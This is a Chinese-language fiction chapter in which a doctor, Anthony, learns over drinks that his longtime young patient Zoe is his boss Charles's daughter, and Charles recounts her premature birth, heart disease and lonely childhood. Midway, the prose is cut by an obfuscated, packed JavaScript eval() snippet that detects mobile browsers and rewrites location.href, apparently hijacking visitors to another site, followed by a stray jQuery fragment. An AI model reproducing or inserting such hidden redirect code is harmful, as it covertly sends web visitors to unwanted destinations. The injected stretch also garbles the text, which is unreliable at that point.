安东尼照顾着佐伊，让她在疗养院的小床上睡下。然后掏出手机，给查尔斯发了个消息，“到疗养院，已经睡了，状态还行但是累坏了。”
“好的，辛苦了，谢谢。”
查尔斯秒回的。七年来，这样的消息，安东尼手机里已经累积了近百条。这个大老板不擅长表达关心和感谢，说来说去，递到安东尼手上的，总是这句话。
安东尼看了看厚毯子包裹下佐伊的睡颜，刚准备把手机放回口袋，又震了一下，还是查尔斯。
“今晚是否有空，明日值班否？约你有事谈。”
安东尼觉得这是大老板跟自己说的信息密度最高的一条消息。他低头算了算自己必须补的觉和休息的时间，回了一条，“晚上八点。可以。”
“20:00，行政楼顶层，19:55我给你工牌发临时通行许可。三号电梯29楼。”
——
Beacon大厦总共也只有29层，最顶层是查尔斯自己的办公室，安东尼是第一次来。之前的所有见面都控制在会议室里。而这里，显然是老板的私人空间。
“进。”
安东尼是准点敲门的。查尔斯释放了门禁，让他进来。办公桌上的显示屏亮着，在锁屏界面上。办公室的主灯没开，书桌边的阅读灯和待客椅边的环境光亮着。整个空间是灰白色和棕色调子的，家具款式里透着舒适和亲切，这不太像集团大总裁的办公室，倒有点像他家。
“晚上好。”安东尼就穿着平时外出的冬季风衣，里面搭的夹克与贴身衬衣。
“坐。”查尔斯从办公桌后面站起来，绕到待客沙发边，“明天不值班的话，喝一点？”
安东尼点了点头。
说实话，他在来的路上没忍住揣测今晚的话题。关于自己的项目，关于佐伊的情况，关于beacon的学术方向？关于那个医疗顾问的合同，关于年薪，关于是否还有留在Beacon的资格？但不管是什么事，他预感到自己应该会需要一点酒精。
查尔斯拿了两个杯子，沙发的边几上放着一盘预先准备好的佐酒蜜瓜、还有一盘火腿及奶酪。冰球在杯子里轻轻碰了一下，薄薄一层液体沉在杯底，木头的香气和烟熏的风味在杯口散开来。
窗外，灯塔的光一圈一圈转着。
“我要先说抱歉，那时候瞒了你。”查尔斯说着，侧了侧身，把酒杯递了过去。
安东尼倾身接了杯子，没说话。他定定的看着眼前这个男人，几乎是一瞬间就知道查尔斯在说什么。
——七八年前，他刚刚被查尔斯从新加坡挖过来的时候，只知道佐伊是个“有价值的病例”，是查尔斯这个大老板送来的人，但不知道她七岁以前的事。他以为那是个正常家庭养大的孩子。挺聪明，只是运气不好有先心病，和其他来做根治术的孩子没什么太大的不同。后来他知道不是了。他花了七年的时间默默观察，看着这个孩子以一种超乎所有人预期的方式长大，但依然在等一个答案。
毕竟，他无数次怀疑过，尤其是佐伊的头发变了颜色，他打电话问查尔斯的那一次。
“我能感到你大约一直在猜，瞒着这件事，对这段关系也没有好处。”查尔斯看着安东尼一脸了然的表情，笑了笑，“是的，她是我女儿。我唯一的孩子。”
安东尼仰头看着查尔斯在自己对面慢慢坐下。两个人端着杯子的手都轻轻抖了一下。他们都在紧张。
“她刚出生的时候，早产两个月，只有1500克。哭一声紫一阵，喘五分钟。躺在保温箱里，我碰都不敢碰，每天半小时探视时间，我和其他家长一样在NICU外面等。”
安东尼皱了皱眉。早产，极低体重，严重先心，肺没发育好，长期缺氧，喂养困难，发育迟缓，预后极差。这些词在他脑子里自动连成一条线。
“医生说她如果不干预，活不到两岁，但就算熬过了手术，能活到五岁的概率，不超过40%。”查尔斯的声音很平静，像在说别人的事，“结合一系列可能的并发症及感染，活到成年的概率，不超过25%。有生存质量地活到成年的概率，不超过10%。”
安东尼屏住呼吸。但他张了张嘴，想问什么——为什么出生前没发现？
话到嘴边，他顿住了。
因为他忽然意识到，那不是此刻的2012年，是十五年前。1997年。那时候全世界的产前诊断水平还比较初级，他自己也查过数据，复杂先心的产前检出率仅13.7%。至于那时候的伦敦，甚至还没有强制建档。四腔心切面筛查的敏感度只有40%，而且只针对少数教学医院的高危人群。所以即使这孩子的母亲按时产检，即使她做了B超，也可能什么都没发现。
“你想问为什么没查出来？”查尔斯像是看穿了他在想什么。
安东尼没说话，他知道答案。
“那时候，胎儿心脏不是常规筛查项目。”查尔斯说，“就算做B超，也只看四腔心——四个腔在不在，在，就过了。法洛四联症，四腔心切面上可能看起来是正常的。”
安东尼点点头。现在的医生都知道这个。但十四五年前，大家都不知道。
“而且……”查尔斯顿了顿，“尤兰达那段时间在实验室冲刺一个关键数据，每天至少工作十四小时。等她想起来要建档的时候，已经快二十周了。”
安东尼叹了口气，仿佛早就料到似的反问，“优兰达？优兰达-普林斯那个优兰达？MDC的研发首席？”
“佐伊与你提过？”查尔斯微微笑了。
“不。普林斯教授的讲座，哪个Beacon的医生没听过？她拿着心衰的靶向药来Beacon，一脸平静得说，这是某个项目副产品，但目前看来很有潜力……说话的节奏和断句的模式，佐伊和她一模一样。”安东尼又气又好笑，在这个问题上，他的确已经憋了很久了……毕竟，他可能是被调侃佐伊是他“女儿”最多的人。没有之一。
“我们这群医生看着她长大，这么多年了，她的药学底子扎实到简直无法解释……而且，她从来没问过我这方面问题，唯一的可能就是，她另有一个药学方向的导师。该死的，她自己还姓普林斯。”
“对，她跟妈妈姓。我好多次听到你们有人说佐伊像我，其实她不太像我，更像妈妈。只是，她妈妈爱她的方式不太一样。”
“是哪种不一样？”安东尼喝了一口杯子里的琥珀色液体，冰冷的液体在食道里变得灼热。
“优兰达生完孩子，哭了两天。她后来跟我说，那段时间脑子里翻来覆去地想，早产是不是可以避免，先心病是不是意外，是孕期太累了吗，是实验室里不小心接触了什么吗，是不是基因的问题，是她自己的，还是我的。”
“她跟我仔仔细细算了一笔账，关于感情的。她说她不敢投。因为如果她在这个孩子身上倾注太多，万一孩子真的离开了，她会承受不了的。她的项目不能没有她，等着用新药的更多的孩子以及病人不能没有她，她的团队不能没有她。所以，她没法在这个孩子身上倾注感情，她赌不起那个10%，她在做的药赌不起这10%。所以，她休了三个月产假，隔着保温箱亲了亲自己的孩子，就回实验室去了。”
沉默在两个男人之间蔓延了一会儿，安东尼深吸了一口气，“你那时候是怎么……怎么熬过来的？”
查尔斯愣了一下。然后他笑了。不是苦笑，是一种很淡的、带着点距离感的笑。像是在跨越时空的间隙，审视过去的那个自己。
“就这样。”他说。他端起杯子，看着里面琥珀色的液体。“我那时候刚从自己家族手里把能源和运输这摊子生意接过来。生意不大，在几个巨头的夹缝里生存。”
安东尼默默听着。
“我也算账。算了算自己的公司应该没那么容易垮，养一个需要医疗支持的孩子要花多少钱，我在想，不管怎么说，养她一辈子应该还是够的。”
安东尼皱了一下眉。算账。这个词从查尔斯嘴里说出来，和从尤兰达嘴里说出来，不是一个意思。
“优兰达不敢投，于是我就投了。找保姆，找有医疗资质的疗养院，找老师。我太忙，抽不开身，只能在有空的时候去看看她。”查尔斯顿了顿，“我那时候不敢想她几个月和几年以后的事情。甚至不敢想下周的事。”
“就只想着今天。今天她还活着。今天我有三个小时空，能带她去看看外面。今天她喝奶了吗，喝了多少，吸氧了吗，今天她睡了多久，今天她有没有不舒服，有没有发烧。”
“但是……”安东尼问，“在疗养院那种地方……她过得好吗？”
查尔斯沉默了，“她从出生开始，就不知道正常的生活是什么样的，她以为所有孩子都是这样的，当时那个疗养院里的孩子……都是各种各样多少有疾病或者缺陷的孩子。不过还好，保姆不敢欺负她。”
安东尼没说话，等着。
“我专门给她找了两个有医疗资质的退休护士做保姆。像她那样的孩子，就算再乖再安静，也属于很难带的。生理特点决定的。睡不久，总是被憋醒，不管几点，醒了就要找人。免疫很差，上呼吸道感染总要转成肺炎，就需要特别照顾。荨麻疹会变成皮肤病，就需要浑身涂药。吃饭慢，吃快了要呛，就要等。跑得慢，走得慢，个子矮，在疗养院里被别的孩子欺负，又不能拦着她自己发展起来的社交。几乎每天，那两个保姆都在抱怨。不过，大概是看在工资的份上，也不敢真的亏待她。”
安东尼点点头。病理生理，他都理解。人性的那部分，他也理解。
“疗养院有不少孩子玩的地方。滑梯，沙坑，小院子，小动物园，菜地，木工场地……那些什么有点轻微兔唇或者是肢体不灵便的孩子，都在那边玩，看顾他们的保姆很头疼，一群孩子整天脏兮兮的，我有时候过去，就看到保姆满院子抓孩子，抓回去洗澡。但佐伊，几乎都是在图书室和病房里度过的。”查尔斯顿了顿，“保姆甚至不敢在秋冬季带她出门。”
安东尼皱了一下眉。
“空气太冷。她很容易受不了。在冷风里稍微吹一会儿，嘴唇就发紫。”
安东尼知道。他见过那种发紫。法洛四联症的典型表现，缺氧发作时的信号。
“所以她只能待在屋里。图书室有暖气，有时候老师给她读绘本，大部分时候她都自己看，优兰达那时候会给我一些东西，让我顺便带过去，一些护理指南，一些疾病的指南，还有很多专业书，她就说带给佐伊，我一直以为优兰达想拿这些指南考核保姆和疗养院。后来我发现，佐伊自己居然在看这些东西。她就坐在那儿翻书，偶尔抬头，看窗外别的孩子玩。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401656|200420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
安东尼握着杯子的手微微收紧，“那，她问过为什么不能出去吗？”
查尔斯想了想，“问过。保姆说，外面冷，出去会生病。她就不问了。”
“不问了？”
“也不是完全顺从。这孩子好奇心还是在的。有一次，四周岁刚过，她趁着保姆没看住，跑出去玩雪，其他调皮的孩子欺负她，把冰冷的雪灌进她的领子，不到十分钟，她就一头栽倒在地上。末梢血太凉，循环到心脏，她根本承受不了。”
安东尼沉默了。他知道那个，心输出量骤降，抢救稍慢一分钟，就是心源性猝死。
“幸好医生就在楼里，救回来了。这件事，她可能至今都没忘记，所以她很快就理解了，自己和其他孩子不一样。不是委屈的那种理解，是……接受。就像接受天气一样。”
“我那天收到消息，撇下抓着我拍板决策的那群董事，去疗养院找她。她还吸着氧，看到我的时候，意识已经清楚了，伸手要我抱。”
“我问她，还疼吗。”
“然后她摇摇头，对我说，查尔斯，原来雪是凉的。她那时候就就开始叫我查尔斯，或者查理，因为其他人都这么叫我。”
“我没让他喊我爸爸，那时候我在想，一个伦敦长大的孩子，四周岁了，没有摸过雪。我觉得自己没资格被一个这样的孩子叫爸爸。”
安东尼没插嘴，静静听着。
“其实我早就想给她安排根治术，让她一般情况好一点，可以出去玩玩，跑一跑，玩玩雪。可总是被其他并发症拖着。”查尔斯说，“一会儿肺炎，一会儿感染，一会儿意外，一会儿免疫不好，一会儿呼吸不好，一会儿血小板低了，一会儿粒细胞缺了。就这样一直拖，拖到七岁，才等到一个上台再赌一把的窗口。那时候我给她约择期，麦克斯说跟我说，就这三五个月，不能再等了。”
“所以我那时候说，最多等你三个月，再久，等不了了。”
安东尼知道那个“上台再赌一把”是什么意思。法洛四联症根治术，要在体外循环下修补室间隔缺损，疏通右心室流出道。对足月出生，虽然有先心疾病，但其他生理基础基本正常的孩子来说，这是风险可控的手术。但对佐伊——1500克出生，肺没发育好，免疫差，反复感染——每一次上台，都是在赌。
“手术做了六个多小时。ICU里躺了一个月。你亲自管的，你都知道。”
安东尼握着杯子的手顿了一下。他太知道了，他亲手捞回来的孩子。呼吸机肺炎，心包穿刺，感染关，营养关……一天一天地熬，一天一天地数，一关一关的闯。
那时候，安东尼只知道那是一个术后危重的病例，法洛四联症根治术，反复濒危，四次被他拉回来。他知道这是个不错的病例，但他不知道那是查尔斯的女儿。他只知道那是一个需要他看着的，容易出事的孩子。所以他就看着了。
“后来她从ICU转去普通病房，又住了两个月。”
安东尼点点头。
“对我来说，那几个月的记忆很模糊。”查尔斯说，“澳洲和南美的煤炭生意在谈判，我带了两个副总和两个秘书跟着，副总配合我谈商务，一个秘书帮我们办杂事，另一个拎包的，专门帮我盯着手机。我怕你打电话过来。那电话，我都不确定自己敢不敢接。”
“我只敢付钱，不敢进ICU，你那时候发消息问我要不要进去看看，跟我说她清醒着，我推脱说自己全世界到处飞，不知道哪儿的病毒被我带进去，还是算了。”
“那么多商业竞争我都赌赢了，佐伊的这一把，我还是怕。”
杯子里的冰块化了一些，酒液顺着冰球的裂缝爬进去，这个冰块都折射出了琥珀色的辉光。
安东尼晃了晃杯子，低头喝了一口已经被稀释的酒，“我那时候觉得这个投资人还挺负责，不计代价救了个孩子。就是不太出现，也看不出为什么重视这个小孩。”
“你现在知道了。”查尔斯放松的靠在沙发上，像是终于卸下了什么担子似的。
安东尼清了清嗓子，摇了摇自己手里的酒杯，听着那化了一半的冰块和玻璃杯碰撞的轻微的声音，没忍住轻轻笑了笑，“要是那时候我就知道你是她爸爸，保准踹你几脚。”
查尔斯也笑了，直起身，和安东尼轻轻碰了碰杯，“没事，你现在也可以踹。”
“你知道你最可恨的是什么时候吗？”安东尼看着查尔斯，不是那种职业的，医生看着家属的微笑，而是……一种对家人的行为无可奈何，但是又格外理解的微笑，“我那时候推佐伊去病房，你在电梯间里跟她大眼瞪小眼，然后那孩子居然先开口跟你说，好久不见。我在想，这两个人谁和谁啊？还没想完，佐伊挥了挥手叫你去忙吧。她说她没事，你就真的不跟了？”
查尔斯没忍住叹了一口气，眼眶有点红，“她小时候，生命里到处都是分别，保姆带半年不带了，老师教几个月转走了，医生给她治过病，然后消失了。我也只能偶尔出现。她一直在期待一个陪伴她的人，我也是后来，很后来才意识到这一点。”
“所以，谢谢你，安东尼。谢谢你没走。”那个一只手掌握着小半个欧洲能源和运输产业的男人，郑重得举了举杯。
安东尼举杯回应了一下。
“不客气，她也是我选的人。”